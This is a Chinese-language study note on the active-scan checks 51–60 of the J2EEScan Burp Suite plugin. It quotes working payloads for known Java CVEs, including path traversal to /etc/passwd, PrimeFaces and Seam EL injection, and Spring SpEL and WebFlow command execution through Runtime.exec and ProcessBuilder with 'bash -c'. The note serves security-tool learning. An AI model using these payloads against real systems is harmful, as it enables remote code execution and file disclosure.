【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(51-60)
前言
插件开发学习第10套。前置文章：
【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan（上）-被动扫描
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(1-10)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(21-30)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(31-40)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(41-50)
分析
【51】PivotalSpringTraversal CVE-2014-3625
路径
private static final List<String> staticURLFolders = Arrays.asList(
"/resources/",
"/files/",
"/upload/",
"/static/",
"/content/",
"/html/",
"/deploy/"
);
先判断真实的路径中有没有上述的path
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
然后将原始的HTTP做一个替换
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
替换的payload是
private static final String INJ = "file:/etc/passwd";
mutator函数就是一个找正则然后replace
private String mutator(String httpRequest, String staticResourceFolder, String payload) {
return httpRequest.replaceFirst(staticResourceFolder + ".* ", payload + " ");
}
【52】PrimeFacesELInjection - CVE-2017-1000486
payload
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
private static final String INJ_TEST = "uMKljPgnOTVxmOB%2bH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVYjEh7SE3F4WmfKUle6apy2QGwABuVlzurPsgFxYP0G3b1dDqmgmxMw%3d%3d";
match返回包则存在漏洞
if (header.contains("J2EESCANPRIME")) {
这是个RCE
关键是这个pfdrid参数，是EL表达式的加密结果。
这里payload是加密下面的表达式，所以判断返回包是看headers
"${facesContext.getExternalContext().setResponseHeader(\\\"J2EESCANPRIME\\\",\\\"primefaces\\\")}"
默认密码是
Default = primefaces
利用工具看这个
https://github.com/pimps/CVE-2017-1000486
【53】RESTAPISwagger
REST API Swagger 的相关问题
相关路径
private static final List<String> SWAGGER_APIS = Arrays.asList(
"/swagger-ui.html",
"/swagger/swagger-ui.html",
"/api/swagger-ui.html",
"/swagger/index.html",
"/%20/swagger-ui.html"
);
这个我们见得比较多了，这里面能拿到服务端的一些API构造。
match
private static final byte[] GREP_STRING = "<title>Swagge".getBytes();
【54】Seam2RCE（Jboss） - CVE-2010-1871
JBoss seam2的模板注入
payload
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
match的是hostname?
private static final byte[] GREP_STRING_L = "java.lang.UNIXProcess".getBytes();
private static final byte[] GREP_STRING_W = "java.lang.ProcessImpl".getBytes();
上面的payload是直接反射取
下面这个是遍历取，有一点绕过的感觉，
byte[] rawRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[" + i + "].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}}", IParameter.PARAM_URL)
);
match一样
【55】 SnoopResource
看着像是GET请求的XSS
PATH
private static final List<String> SNOOP_PATHS = Arrays.asList(
"/snoop.jsp?" + XSS_PAYLOAD,
"/examples/jsp/snp/snoop.jsp?" + XSS_PAYLOAD,
"/examples/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/j2ee/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/jsp-examples/snp/snoop.jsp?" + XSS_PAYLOAD
);
payload用的h1标签
private static final String XSS_PAYLOAD = "<h1>j2eescan";
有意思的是
match如果是
private static final byte[] GREP_STRING = "Path translated".getBytes();
则是低危
如果是
<h1>j2eescan";
就是中危
【56】SpringBootActuator
遍历Path
private static final List<String> SPRINGBOOT_ACTUATOR_PATHS = Arrays.asList(
"/health",
"/manager/health",
"/actuator",
"/actuator/jolokia/list",
"/jolokia/list",
"/env"
);
match这几个
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"{\"status\":\"UP\"}".getBytes(),
"{\"_links\":".getBytes(),
"org.spring".getBytes(),
"java.vendor".getBytes()
);
SpringBoot 的内存泄露吧，之前因为这个页面泄露了大量用户token能直接接管用户账号，所以也并不是他描述的low，需要实际去看。
【57】SpringBootRestRCE cve-2017-8046
首先POST换成PATCH（这里GET还不行？）
headers.set(0, firstHeader.replaceFirst("POST ", "PATCH "));
换个contenttype和accept
List<String> headersWithContentTypePatch = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/json-patch+json");
List<String> headersWithContentTypePatchAndAccept = HTTPParser.addOrUpdateHeader(headersWithContentTypePatch, "Accept", "*/*");
发送payload
String finalPayload = "[{ \"op\" : \"replace\", \"path\" : \"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(" + payload + ").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x\", \"value\" : \"j2eescan\" }]";
无回显的话payload可以用ping dns来match
【58】SpringCloudConfigPathTraversal cve-2020-5410
2020年的洞
Spring Cloud Config的目录穿越，比较好构造
payload
private static final List<String> SPRINGCLOUD_TRAVERSALS = Arrays.asList(
"/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23"
);
match passwod就行
【59】 SpringDataCommonRCE cve-2018-1273
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
这是个spel表达式注入漏洞
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext，由于StandardEvaluationContext权限过大，可以执行任意代码，会被恶意用户利用。
SimpleEvaluationContext的权限则小的多，只支持一些map结构，通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持，详情可查看SimpleEvaluationContext的实现。
payload
String injection = "[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\")]=";
替换的方式是
String updatedBody = requestBody.replace("=", finalPayload);
【60】SpringWebFlowDataBindExpression CVE-2017-4971
Spring WebFlow 2.4.0 - 2.4.4
payload一把梭
String injection = "_(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"ping -c 3 %s\")).start()";
触发位置是提交表单。
